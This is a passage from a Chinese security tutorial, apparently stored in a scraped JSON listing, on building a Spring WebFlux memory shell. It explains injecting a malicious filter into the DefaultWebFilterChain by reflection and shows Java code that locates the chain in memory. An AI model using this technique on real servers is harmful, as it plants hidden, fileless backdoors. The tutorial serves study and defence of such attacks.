类的公共构造函数，我们初始化了一个完整的过滤器链，其中的每个实例都代表链中的一个`link`，而不是一个`chain`，这就意味着我们无法通过修改下图中的`chain.allFilters`来实现新增`Filter`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240126132330870.png)\n\n但是这个类里面有个`initChain`方法用来初始化过滤器链，这个方法里面调用的是这个私有构造方法：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240126133115205.png)\n\n那我们就看看这个公共构造方法是在哪里调用的：\n\n光标移至该方法，按两下`Ctrl+Alt+F7`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240126133242721.png)\n\n调用的地方位于`org.springframework.web.server.handler.FilteringWebHandler#FilteringWebHandler`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240126133330601.png)\n\n那思路就来了，我们只需要构造一个`DefaultWebFilterChain`对象，，然后把它通过反射写入到`FilteringWebHandler`类对象的`chain`属性中就可以了。\n\n那现在就剩下传入`handler`和`filters`这两个参数了，这个`handler`参数很好搞，就在`chain`里面：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240126133836697.png)\n\n然后这个`filters`的话，我们可以先获取到它本来的`filters`，然后把我们自己写的恶意`filter`放进去，放到第一位，就可以了。\n\n那现在就是从内存中找到`DefaultWebFilterChain`的位置，然后一步步反射就行。这里直接使用工具`https://github.com/c0ny1/java-object-searcher`，克隆下来该项目，放到`idea`中`mvn clean install`：\n\n![image-20240126134339217](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240126134339217.png)\n\n然后把生成的这个`java-object-searcher-0.1.0.jar`放到我们的`WebFluxMemoryShellDemo`项目的Project `Structure`中的`Libraries`中：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240126145032760.png)\n\n然后我们把我们的`GreetingFilter.java`的代码修改成下面的：\n\n```java\npackage org.example.webfluxmemoryshelldemo.hello;\n\nimport org.springframework.http.server.reactive.ServerHttpRequest;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.server.ServerWebExchange;\nimport org.springframework.web.server.WebFilter;\nimport org.springframework.web.server.WebFilterChain;\nimport org.springframework.web.util.pattern.PathPattern;\nimport org.springframework.web.util.pattern.PathPatternParser;\nimport reactor.core.publisher.Mono;\n\nimport me.gv7.tools.josearcher.entity.Blacklist;\nimport me.gv7.tools.josearcher.entity.Keyword;\nimport me.gv7.tools.josearcher.searcher.SearchRequstByBFS;\nimport java.util.ArrayList;\nimport java.util.List;\n\n@Component\npublic class GreetingFilter implements WebFilter {\n    @Override\n    public Mono\u003cVoid\u003e filter(ServerWebExchange serverWebExchange, WebFilterChain webFilterChain) {\n        PathPattern pattern=new PathPatternParser().parse(\"/hello/**\");\n        ServerHttpRequest request=serverWebExchange.getRequest();\n        if (pattern.matches(request.getPath().pathWithinApplication())){\n            System.out.println(\"hello, this is our GreetingFilter!\");\n        }\n        List\u003cKeyword\u003e keys = new ArrayList\u003c\u003e();\n        keys.add(new Keyword.Builder().setField_type(\"DefaultWebFilterChain\").build());\n        List\u003cBlacklist\u003e blacklists = new ArrayList\u003c\u003e();\n        blacklists.add(new Blacklist.Builder().setField_type(\"java.io.File\").build());\n        SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);\n        searcher.setBlacklists(blacklists);\n        searcher.setIs_debug(true);\n        searcher.setMax_search_depth(10);\n        searcher.setReport_save_path(\"D:\\\\javaSecEnv\\\\apache-tomcat-9.0.85\\\\bin\");\n        searcher.searchObject();\n        return webFilterChain.filter(serverWebExchange);\n    }\n}\n```\n\n这里我们设置的关键字是`DefaultWebFilterChain`，然�","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FW01fh4cker%2FLearnJavaMemshellFromZero","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FW01fh4cker%2FLearnJavaMemshellFromZero","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FW01fh4cker%2FLearnJavaMemshellFromZero/lists"}